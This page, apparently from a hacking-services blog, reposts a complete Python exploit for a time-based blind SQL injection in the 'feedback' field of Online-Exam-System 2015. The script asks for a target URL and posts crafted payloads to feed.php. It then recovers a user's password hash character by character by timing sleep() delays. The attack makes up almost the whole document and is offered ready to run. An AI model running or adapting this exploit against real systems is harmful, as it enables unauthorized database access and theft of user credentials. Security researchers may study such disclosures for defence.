Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86392941

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Online-Exam-System 2015 - 'feedback' SQL Injection
# Date: 2020-06-04
# Exploit Author: Gus Ralph
# Vendor Homepage: https://github.com/sunnygkp10/
# Software Link: https://github.com/sunnygkp10/Online-Exam-System-.git
# Affected Version: 2015
# Tested on: Ubuntu
# CVE : N/A

import requests, string, time
from sys import stdout

URL = raw_input("Please enter the URL to attack (example http://localhost/Online-Exam-System/)\n")

payload = "feedback' , '2020-06-04', '01:58:10am'),('1337','test','test@test.com','test',(SELECT CASE WHEN (SELECT EXISTS(SELECT password FROM user WHERE password REGEXP BINARY '^"
payload2 = ".*'))=1 THEN sleep(5) ELSE sleep(0) END),'2020-06-04', '01:58:10am'); -- -"
so_far = hash = ""
while True:
	for i in string.digits + string.ascii_lowercase:
		so_far = hash + i
		payload_to_send = payload + str(so_far) + payload2
		data = {"name":"test","email":"test@test.com","subject":"test","feedback":payload_to_send}
		start = time.time()
		r = requests.post(URL + "feed.php", data = data)
		request_time = time.time() - start
		if request_time > 5:
			hash += i
			stdout.write(i)
			stdout.flush()
			break
	if len(hash) > 31:
		stdout.write("\n")
		print "Hash found: " + hash
		break